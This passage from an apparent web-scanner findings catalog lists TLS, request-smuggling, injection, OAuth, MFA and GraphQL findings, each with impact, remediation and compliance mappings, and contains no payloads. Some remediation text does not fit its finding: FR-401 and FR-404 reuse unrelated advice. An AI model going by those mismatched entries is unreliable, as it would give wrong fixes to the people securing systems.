Impact: Low entropy in certificate serial numbers indicates weak random number generation in the issuing CA's infrastructure. This can enable serial number prediction attacks that facilitate certificate forgery.
Remediation: Informational: review the certificate issuer chain to confirm only trusted, internal or public CAs are authorised to issue certificates for this domain. Enrol the domain in Certificate Transparency monitoring (e.g., crt.sh alerts) to detect unauthorised issuance. Verify serial number entropy meets CABF Baseline Requirements (>= 64 bits).
Effort: Low
MITRE ATT&CK: T1596.003 (Reconnaissance)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
INFO FR-401 — SSL/TLS Certificate: Weak Encryption Method
Impact: Certificates signed with weak algorithms (SHA-1, MD5) are vulnerable to collision attacks that allow an attacker to forge a certificate with the same signature, enabling man-in-the-middle attacks that bypass certificate validation entirely.
Remediation: Replace certificates with validity exceeding 398 days (Apple/browser-enforced limit). Ensure all certificates include Subject Alternative Names (SANs). Fix incomplete certificate chains by installing intermediate CA certificates. Automate certificate renewal with Let's Encrypt or ACME protocol. Use certificates with RSA-2048+ or ECDSA-256+ keys.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 – Security Misconfiguration
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
INFO FR-402 — SSL/TLS Cipher: No Cipher Order Configured
Impact: Without server-enforced cipher order, the client's cipher preference is used, which may select weaker ciphers over stronger alternatives. An attacker can manipulate the client to negotiate weak ciphers through downgrade attacks.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO FR-403 — SSL/TLS Ciphers: Obsolete Ciphers
Impact: Obsolete cipher suites such as RC4 and CBC-mode ciphers are vulnerable to known cryptographic attacks including CVE-2013-2566 (RC4 key stream bias) and CVE-2015-2808 (Bar Mitzvah attack). An attacker performing passive traffic capture can recover plaintext from sessions negotiated with these ciphers, compromising the confidentiality of all transmitted data including credentials and session tokens.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
INFO FR-404 — SSL/TLS Session: Long Duration
Impact: Excessively long TLS session lifetimes increase the window for session resumption attacks and reduce the effectiveness of forward secrecy. Compromised session tickets remain valid for the entire session duration.
Remediation: Disable SSLv2, SSLv3, TLS 1.0, and TLS 1.1. Remove NULL, EXPORT, RC4, DES, 3DES, and ANON cipher suites. Enable server cipher order preference. Configure TLS session tickets securely or disable. Use testssl.sh or SSLLabs to validate. Require TLS 1.2 as minimum with TLS 1.3 preferred.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 – Cryptographic Failures
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
HIGH FR-405 — BFLA: Role '{low_role}' Can Access Admin Path
Description: A lower-privileged role can access an administrative endpoint that should be restricted to higher-privilege roles, indicating a Broken Function Level Authorization (BFLA) vulnerability.
Impact: An attacker with a low-privilege account can access administrative functionality, potentially managing users, configurations, or sensitive data beyond their intended authorization level.
Remediation: Implement server-side role-based access control checks on all administrative endpoints. Deny access for roles below the required privilege level and return 403 Forbidden.
Effort: Moderate
OWASP Web: A01:2025 Broken Access Control
OWASP API: API5:2023 Broken Function Level Authorization
MITRE ATT&CK: T1078 (Initial Access)
NIST 800-53: AC-3, AC-6
PCI DSS 4: 7.2.2
MEDIUM FR-406 — CBC Mode Cipher Suites Accepted
Description: The server accepts TLS cipher suites using Cipher Block Chaining (CBC) mode, which are vulnerable to padding oracle attacks such as BEAST and LUCKY13.
Impact: An attacker may exploit CBC padding oracle vulnerabilities to decrypt TLS traffic or recover plaintext data from encrypted sessions.
Remediation: Disable CBC-mode cipher suites on the server. Prefer AEAD ciphers such as AES-GCM or ChaCha20-Poly1305.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
MEDIUM FR-407 — SSL/TLS Forward Secrecy: Cipher Suites
Description: The server accepts cipher suites that do not provide forward secrecy (e.g., RSA key exchange without ECDHE or DHE), meaning past sessions can be decrypted if the server's private key is compromised.
Impact: If the server's private key is later compromised, all previously recorded TLS sessions using these cipher suites can be retroactively decrypted, exposing all historical encrypted communications.
Remediation: Configure the server to only accept cipher suites with forward secrecy (ECDHE or DHE key exchange). Disable static RSA key exchange.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
HIGH FR-408 — HTTP Request Smuggling — CL.0 Client-Side Desync
Description: The server is vulnerable to CL.0 client-side desync, a variant of HTTP request smuggling where the server ignores a Content-Length header on requests to specific endpoints, causing the connection to desynchronize.
Impact: An attacker can poison the connection between a victim's browser and the server, hijacking subsequent requests to steal credentials, bypass access controls, or deliver malicious responses to other users.
Remediation: Ensure all server components and reverse proxies consistently handle Content-Length headers. Disable HTTP/1.1 connection reuse where not required, or upgrade to HTTP/2 end-to-end.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SI-10, SC-7
HIGH FR-409 — HTTP Request Smuggling — CL.TE Desync
Description: The front-end server uses Content-Length while the back-end uses Transfer-Encoding, allowing an attacker to smuggle a second request within the body of the first.
Impact: An attacker can bypass security controls, poison web caches, hijack other users' requests, or escalate privileges by injecting malicious requests that bypass the front-end proxy.
Remediation: Ensure all servers in the chain use the same method to determine request boundaries. Configure the front-end to normalize ambiguous requests and reject those with both CL and TE headers.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-7
HIGH FR-410 — HTTP Request Smuggling — TE Obfuscation Desync
Description: The server is vulnerable to Transfer-Encoding obfuscation, where variations of the TE header (e.g., extra whitespace, line folding, chunked1) cause front-end and back-end to disagree on request boundaries.
Impact: An attacker can exploit TE header parsing differences to smuggle requests past the front-end, enabling cache poisoning, request hijacking, and access control bypass.
Remediation: Reject requests with obfuscated Transfer-Encoding headers. Ensure all proxies and servers normalize and validate TE headers identically.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-7
HIGH FR-411 — HTTP Request Smuggling — TE.CL Desync
Description: The front-end server uses Transfer-Encoding while the back-end uses Content-Length, allowing an attacker to smuggle a second request by manipulating chunked encoding boundaries.
Impact: An attacker can bypass security controls, poison web caches, hijack other users' requests, or escalate privileges by injecting malicious requests past the front-end proxy.
Remediation: Ensure all servers in the chain agree on request boundary determination. Configure back-end servers to prefer Transfer-Encoding over Content-Length, or reject ambiguous requests.
Effort: Significant
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10, SC-7
HIGH FR-412 — Host-Header SSRF Surface ({label})
Description: The application reflects or acts upon the Host header value in server-side operations, creating a potential Server-Side Request Forgery (SSRF) attack surface via host header injection.
Impact: An attacker can manipulate the Host header to redirect internal server requests to attacker-controlled infrastructure, potentially accessing internal services, exfiltrating data, or bypassing authentication mechanisms.
Remediation: Validate the Host header against an allowlist of expected hostnames. Do not use the Host header value in server-side URL construction or redirect logic.
Effort: Moderate
OWASP Web: A10:2025 Server-Side Request Forgery
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10, AC-4
HIGH FR-413 — JWT Signing Secret Brute-Force Recovered ({alg})
Description: The JWT signing secret was recovered through brute-force or dictionary attack, allowing an attacker to forge valid tokens with arbitrary claims.
Impact: An attacker can create forged JWT tokens with elevated privileges, impersonate any user, bypass authentication entirely, and gain unauthorized access to all application functionality.
Remediation: Use a cryptographically strong random secret (256+ bits of entropy) for HMAC-based JWT signing. Consider switching to asymmetric signing (RS256/ES256) where the private key never leaves the server.
Effort: Easy
OWASP Web: A02:2025 Cryptographic Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: IA-5, SC-12
PCI DSS 4: 8.3.6
INFO FR-414 — Load Balancer Detected: {_lb_label}
Description: A load balancer, CDN, or reverse proxy was detected in front of the target application based on response headers, cookies, or behavioral fingerprints.
Impact: Knowledge of the load balancing infrastructure helps an attacker understand the network topology and may reveal vendor-specific vulnerabilities or bypass techniques for WAF/IDS systems.
Remediation: Suppress load balancer identification headers (e.g., Via, X-Served-By, X-Cache) in client-facing responses. This is informational and does not require immediate remediation.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-11
LOW FR-415 — Missing Subresource Integrity — {entry['tag']} from {entry['host']}
Description: An HTML page loads a script or stylesheet from an external CDN or third-party host without a Subresource Integrity (SRI) hash attribute, allowing a compromised CDN to inject malicious code.
Impact: If the external CDN is compromised, an attacker can inject arbitrary JavaScript or CSS into pages that include the resource, enabling cross-site scripting, credential theft, or session hijacking for all users.
Remediation: Add integrity and crossorigin attributes to all <script> and <link> tags loading external resources. Generate SRI hashes using sha384 or sha512.
Effort: Easy
OWASP Web: A08:2025 Software and Data Integrity Failures
NIST 800-53: SI-7
MEDIUM FR-416 — Nikto: {_nik_title}
Description: A web server vulnerability or misconfiguration was identified by the Nikto scanner that does not map to a known Fracture finding category. The specific details are in the finding title.
Impact: The specific impact depends on the vulnerability identified. Nikto findings typically indicate server misconfigurations, information disclosure, or known software vulnerabilities that could be exploited for unauthorized access or data exposure.
Remediation: Review the specific Nikto finding details and apply the recommended remediation for the identified vulnerability or misconfiguration.
Effort: Moderate
OWASP Web: A06:2025 Vulnerable and Outdated Components
NIST 800-53: SI-2
MEDIUM FR-417 — Non-Standard Cipher Suites Accepted
Description: The server accepts non-standard or experimental TLS cipher suites that may not have undergone the same level of cryptographic review as standard IANA-registered suites.
Impact: Non-standard cipher suites may contain implementation flaws or use untested cryptographic constructions, potentially allowing an attacker to exploit weaknesses for traffic decryption or session compromise.
Remediation: Configure the server to accept only well-known, IANA-registered cipher suites. Remove any experimental, vendor-specific, or non-standard cipher suites from the configuration.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-13
PCI DSS 4: 4.2.1
HIGH FR-418 — Reflected Cross-Site Scripting (XSS) — POST Parameter
Description: A POST request parameter is reflected in the server's response without proper output encoding, allowing injection of malicious JavaScript that executes in the victim's browser context.
Impact: An attacker can craft a malicious form submission that, when submitted by a victim, executes arbitrary JavaScript in their browser. This enables session hijacking, credential theft, account takeover, and delivery of malicious content.
Remediation: Implement context-aware output encoding for all user-supplied data reflected in HTML responses. Use Content-Security-Policy to mitigate residual XSS risks.
Effort: Moderate
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM FR-419 — SHA-1 HMAC Cipher Suites Accepted
Description: The server accepts TLS cipher suites using SHA-1 for HMAC authentication. SHA-1 is considered cryptographically weak due to demonstrated collision attacks.
Impact: While practical exploitation of SHA-1 HMAC in TLS is currently difficult, the use of SHA-1 does not meet modern cryptographic standards. Future attacks may make exploitation feasible, and compliance frameworks increasingly prohibit SHA-1.
Remediation: Configure the server to prefer cipher suites using SHA-256 or SHA-384 for HMAC. Disable all SHA-1-based cipher suites.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-13
PCI DSS 4: 4.2.1
MEDIUM FR-420 — SSL/TLS Forward Secrecy: {_tsf_id}
Description: A specific forward secrecy configuration issue was identified by testssl. The finding ID provides details on the exact cipher suite or key exchange mechanism lacking forward secrecy.
Impact: Without forward secrecy, if the server's long-term private key is compromised at any point in the future, all previously recorded encrypted sessions using affected cipher suites can be retroactively decrypted.
Remediation: Enable forward secrecy by configuring the server to use ECDHE or DHE key exchange exclusively. Disable static RSA key exchange and any cipher suites that do not provide forward secrecy.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
LOW FR-421 — SSL/TLS Vulnerability: Lucky13 [UNCONFIRMED]
Description: The server may be vulnerable to the LUCKY13 timing attack, a padding oracle attack against TLS CBC-mode cipher suites that exploits timing differences in MAC verification.
Impact: A sophisticated attacker on the network path could potentially recover plaintext from TLS-encrypted sessions by measuring timing variations in the server's response to crafted ciphertext. The attack is theoretically possible but practically difficult to exploit.
Remediation: Disable CBC-mode cipher suites and prefer AEAD ciphers (AES-GCM, ChaCha20-Poly1305). If CBC must be supported, ensure the TLS implementation includes constant-time MAC verification.
Effort: Moderate
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-13
MEDIUM FR-422 — TLSv1.3 Not Supported
Description: The server does not support TLS 1.3, the latest version of the Transport Layer Security protocol, which provides improved security and performance over TLS 1.2.
Impact: Without TLS 1.3, the server lacks protections including mandatory forward secrecy, removal of legacy cipher suites, encrypted handshake, and 0-RTT resumption. Clients connecting with TLS 1.2 may use weaker cipher suites.
Remediation: Enable TLS 1.3 support on the server. Most modern web servers and load balancers support TLS 1.3 with a configuration change.
Effort: Easy
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
HIGH FR-423 — Vulnerable Component: {pname} {version}
Description: A third-party software component with known vulnerabilities was identified in the application's technology stack. The specific component name and version are in the finding title.
Impact: Known vulnerabilities in third-party components can be exploited by attackers using publicly available exploit code. Impact ranges from information disclosure to remote code execution depending on the specific vulnerability.
Remediation: Update the identified component to the latest patched version. If an update is not available, evaluate compensating controls or consider replacing the component with a maintained alternative.
Effort: Moderate
OWASP Web: A06:2025 Vulnerable and Outdated Components
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, RA-5
PCI DSS 4: 6.3.1
MEDIUM FR-424 — {proto} Enabled
Description: A deprecated or insecure protocol version is enabled on the server. The specific protocol (e.g., SSLv3, TLSv1.0, TLSv1.1) is identified in the finding title.
Impact: Deprecated protocols contain known vulnerabilities (POODLE for SSLv3, BEAST for TLSv1.0) that allow attackers to decrypt encrypted traffic. Compliance frameworks universally prohibit these protocols.
Remediation: Disable the deprecated protocol on the server and enforce TLS 1.2 as the minimum supported version, with TLS 1.3 preferred.
Effort: Easy
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM FR-425 — Cookie Prefix Violation: __Host-
Description: A cookie using the __Host- prefix does not meet RFC 6265bis requirements (must have Secure flag, Path=/, no Domain attribute).
Impact: An attacker may be able to set or overwrite the cookie from a subdomain or insecure context, bypassing the intended isolation guarantee.
Remediation: Ensure __Host- cookies include the Secure attribute, set Path=/, and omit the Domain attribute.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
MEDIUM FR-426 — Cookie Prefix Violation: __Secure-
Description: A cookie using the __Secure- prefix is missing the Secure flag required by RFC 6265bis.
Impact: The cookie may be transmitted over unencrypted HTTP, exposing its value to network attackers.
Remediation: Set the Secure attribute on all __Secure- prefixed cookies.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-23
PCI DSS 4: 6.2.4
LOW FR-427 — HSTS Not Preload-Ready
Description: The Strict-Transport-Security header is present but does not meet browser preload list requirements.
Impact: The site remains vulnerable to SSL-stripping on first visit until the HSTS header is received.
Remediation: Set max-age to at least 31536000 and add the includeSubDomains and preload directives.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
INFO FR-428 — Missing Cross-Origin Isolation Header: {header}
Description: One or more cross-origin isolation headers (COOP, COEP, CORP) are not set.
Impact: Without cross-origin isolation, the application may be susceptible to Spectre-class side-channel attacks or cross-origin information leaks.
Remediation: Set Cross-Origin-Opener-Policy, Cross-Origin-Embedder-Policy, and Cross-Origin-Resource-Policy headers as appropriate.
Effort: Moderate
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-7
MEDIUM FR-429 — JavaScript Source Map Exposed
Description: A .js.map source map file is publicly accessible, exposing the original unminified source code.
Impact: Attackers can read original variable names, comments, internal API endpoints, and business logic to find vulnerabilities.
Remediation: Remove source map files from production deployments or restrict access to authenticated users.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
MITRE ATT&CK: T1592.004 (Reconnaissance)
NIST 800-53: SC-28
PCI DSS 4: 6.2.4
MEDIUM FR-430 — Inline Source Map in JavaScript Bundle
Description: A JavaScript bundle contains an inline sourceMappingURL data URI embedding the original source code.
Impact: The full original source code is delivered to every visitor, exposing internal logic and potential secrets.
Remediation: Remove inline source maps from production builds; configure the build tool to exclude sourceMappingURL from output.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-28
LOW FR-431 — Content-Type Confusion
Description: The server responds with a Content-Type that does not match the requested Accept header without X-Content-Type-Options enforcement.
Impact: Browsers may interpret content differently than intended, potentially enabling MIME sniffing attacks.
Remediation: Set X-Content-Type-Options: nosniff and ensure Content-Type headers accurately reflect response body format.
Effort: Easy
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SI-10
HIGH FR-432 — Server-Side Prototype Pollution
Description: The application processes JSON input containing __proto__ or constructor.prototype properties, allowing modification of object prototypes.
Impact: An attacker can inject properties into all JavaScript objects on the server, potentially achieving RCE, privilege escalation, or denial of service.
Remediation: Sanitize JSON input to strip __proto__ and constructor keys, or use Object.create(null) for parsed objects.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
MEDIUM FR-433 — Potential Client-Side Prototype Pollution
Description: JavaScript files use known prototype pollution sinks such as Object.assign, _.merge, or $.extend with user-controllable input.
Impact: An attacker may be able to manipulate client-side object prototypes via URL parameters or form input, leading to XSS or logic bypass.
Remediation: Replace unsafe merge operations with Object.assign using Object.create(null) targets, or use libraries with prototype pollution protection.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
OWASP Web: A03:2025 Injection
NIST 800-53: SI-10
CRITICAL FR-434 — Server-Side Include (SSI) Injection
Description: The application processes SSI directives embedded in user input, allowing execution of server-side commands.
Impact: An attacker can execute arbitrary OS commands on the server, read sensitive files, or include remote content.
Remediation: Disable SSI processing or sanitize all user input to remove SSI directive syntax.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-435 — Edge Side Include (ESI) Injection
Description: The application reflects user input through an ESI-capable cache layer, allowing injection of ESI include directives.
Impact: An attacker can perform SSRF through the cache layer, access internal services, or steal cached content from other users.
Remediation: Sanitize all user input to strip ESI tags, or disable ESI processing on the caching layer for user-controlled content.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-436 — Email Header Injection
Description: A contact or email form accepts CRLF sequences in input fields, allowing injection of additional email headers.
Impact: An attacker can inject Bcc/Cc headers to use the application as a spam relay, or modify email content for phishing.
Remediation: Strip or reject CRLF sequences in all fields used to construct email headers.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1566.002 (Initial Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-437 — Unicode Normalization Bypass in Authentication
Description: The login form processes Unicode lookalike characters differently than expected, potentially mapping them to valid usernames.
Impact: An attacker can bypass authentication controls by submitting visually similar Unicode characters that normalize to a valid account name.
Remediation: Apply Unicode NFKC normalization consistently before all authentication comparisons, and reject non-ASCII usernames if not expected.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-5
PCI DSS 4: 8.3.1
HIGH FR-438 — WebSocket Endpoint Missing Authentication
Description: A WebSocket endpoint accepts upgrade requests without requiring authentication credentials.
Impact: An attacker can connect to the WebSocket and access real-time data or perform actions without authenticating.
Remediation: Require authentication tokens or session cookies during the WebSocket upgrade handshake.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-9
PCI DSS 4: 8.3.1
MEDIUM FR-439 — WebSocket Missing Origin Validation
Description: A WebSocket endpoint accepts connections from arbitrary origins without validating the Origin header.
Impact: An attacker can establish cross-site WebSocket connections from a malicious page, enabling cross-site WebSocket hijacking.
Remediation: Validate the Origin header during WebSocket upgrade and reject connections from untrusted origins.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A01:2025 Broken Access Control
NIST 800-53: SC-23
HIGH FR-440 — WebSocket Message Injection (XSS)
Description: The WebSocket endpoint reflects user-supplied message content without sanitization, enabling script injection.
Impact: An attacker can inject malicious scripts through WebSocket messages that execute in other connected clients' browsers.
Remediation: Sanitize all WebSocket message content before rendering in the client, and implement server-side input validation.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
OWASP Web: A03:2025 Injection
MITRE ATT&CK: T1059.007 (Execution)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH FR-441 — Web Cache Deception
Description: Appending a static file extension to authenticated URLs causes the CDN/proxy to cache and serve sensitive content publicly.
Impact: An attacker can trick users into visiting crafted URLs, causing their authenticated page content to be cached and retrievable by anyone.
Remediation: Configure the cache to respect Cache-Control headers and never cache responses based solely on URL extension; use Vary headers appropriately.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-28
HIGH FR-442 — OAuth redirect_uri Open Redirect
Description: The OAuth authorization endpoint does not strictly validate the redirect_uri parameter, allowing redirection to attacker-controlled domains.
Impact: An attacker can steal authorization codes or tokens by redirecting users to a malicious callback URL.
Remediation: Enforce exact-match validation of redirect_uri against pre-registered values.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1556 (Credential Access)
NIST 800-53: IA-8
MEDIUM FR-443 — OAuth Missing State Parameter (CSRF)
Description: The OAuth authorization flow does not require or validate a state parameter for CSRF protection.
Impact: An attacker can forge authorization requests and link their own OAuth account to a victim's session.
Remediation: Generate a cryptographically random state parameter per authorization request and validate it on the callback.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: IA-8
HIGH FR-444 — Information Disclosure: OAuth Token via URL
Description: The OAuth implementation uses the implicit flow, placing access tokens in URL fragments.
Impact: Access tokens can be stolen via browser history, proxy logs, or Referer header leakage to third-party resources.
Remediation: Migrate from the implicit flow to the authorization code flow with PKCE; never expose tokens in URLs.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
NIST 800-53: SC-12
HIGH FR-445 — OAuth Scope Escalation
Description: The OAuth authorization server grants elevated scopes beyond what the client originally requested.
Impact: An attacker can obtain tokens with broader permissions than intended.
Remediation: Enforce strict scope validation on the authorization server; only grant explicitly requested and pre-approved scopes.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A01:2025 Broken Access Control
NIST 800-53: AC-6
CRITICAL FR-446 — MFA Bypass — Direct Navigation
Description: Protected pages are accessible by direct URL navigation after initial authentication, bypassing the MFA verification step.
Impact: An attacker who compromises a password can access the account without completing the second authentication factor.
Remediation: Enforce MFA completion as a server-side session state check on every protected endpoint, not just the login flow.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1556 (Credential Access)
NIST 800-53: IA-2
PCI DSS 4: 8.4.2
MEDIUM FR-447 — MFA Missing Rate Limiting on OTP
Description: The MFA verification endpoint does not enforce rate limiting on OTP submission attempts.
Impact: An attacker can brute-force short OTP codes within the validity window to bypass MFA.
Remediation: Implement rate limiting and account lockout on the MFA verification endpoint after a small number of failed attempts.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2025 Identification and Authentication Failures
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: IA-2
PCI DSS 4: 8.4.2
INFO FR-448 — API Endpoint Missing Rate Limiting
Description: An API endpoint does not enforce rate limiting, responding to 10 rapid requests without throttling.
Impact: An attacker can abuse the endpoint for data enumeration, credential stuffing, or resource exhaustion.
Remediation: Implement rate limiting on all API endpoints using token bucket or sliding window algorithms.
Effort: Moderate
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
MEDIUM FR-449 — GraphQL Alias-Based Batching
Description: The GraphQL endpoint processes aliased duplicate queries in a single request, bypassing per-query rate limiting.
Impact: An attacker can issue hundreds of queries in one request to enumerate data or bypass authentication rate limits.
Remediation: Implement query complexity analysis that counts aliases as separate operations, and enforce per-operation rate limits.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
MEDIUM FR-450 — GraphQL Circular Fragment Accepted
Description: The GraphQL endpoint accepts queries with circular fragment references that could cause infinite recursion.
Impact: An attacker can craft queries with circular fragments to cause excessive server-side processing or crashes.
Remediation: Implement fragment cycle detection in the GraphQL query validator to reject circular references.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
INFO FR-451 — GraphQL Field Duplication Not Limited
Description: The GraphQL endpoint processes queries with many duplicated fields without limiting the result set.
Impact: An attacker can amplify response size by duplicating fields, potentially causing increased bandwidth usage.
Remediation: Implement query complexity limits that account for field duplication.
Effort: Moderate
OWASP Web: A04:2025 Insecure Design
NIST 800-53: SC-5
MEDIUM FR-452 — GraphQL Debug Extensions Exposed
Description: The GraphQL response includes an extensions field containing debug information.
Impact: Debug information reveals internal implementation details, query performance characteristics, and potential injection points.
Remediation: Disable GraphQL debug extensions in production environments.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: CM-7
MEDIUM FR-453 — HTTP/2 Cleartext Upgrade (h2c) Accepted
Description: The server or reverse proxy accepts HTTP/2 cleartext upgrade requests.
Impact: An attacker can use h2c smuggling to bypass proxy-level security controls, WAF rules, and access restrictions.
Remediation: Configure the reverse proxy to reject Upgrade: h2c requests or strip the header before forwarding.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2025 Security Misconfiguration
NIST 800-53: SC-8
HIGH FR-454 — h2c Smuggling — Internal Endpoint Accessible
Description: An internal endpoint that is blocked at the proxy level becomes accessible when requested via an h2c upgrade connection.
Impact: An attacker can access admin panels, monitoring dashboards, or internal APIs by tunneling through the h2c upgrade.
Remediation: Block h2c upgrades at the reverse proxy and implement authentication on all internal endpoints regardless of network position.
Effort: Easy
